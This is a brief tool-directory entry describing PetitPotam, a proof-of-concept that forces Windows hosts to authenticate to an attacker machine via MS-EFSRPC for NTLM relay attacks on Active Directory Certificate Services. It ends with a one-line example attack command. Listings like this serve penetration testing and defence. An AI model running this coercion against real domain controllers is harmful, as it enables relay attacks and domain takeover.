← All tools

PetitPotam

https://github.com/topotam/PetitPotam

Open Source

Categories

Exploitation

Description

PoC tool to coerce Windows hosts to authenticate to an attacker-controlled machine using MS-EFSRPC (EFS). Used in NTLM relay attacks against Active Directory Certificate Services (AD CS).

Keywords

NTLM relay coerce authentication EFSRPC Active Directory AD CS ADCS ESC8 relay attack

Example Usage

python3 PetitPotam.py -d corp.local -u user -p password listener_ip dc_ip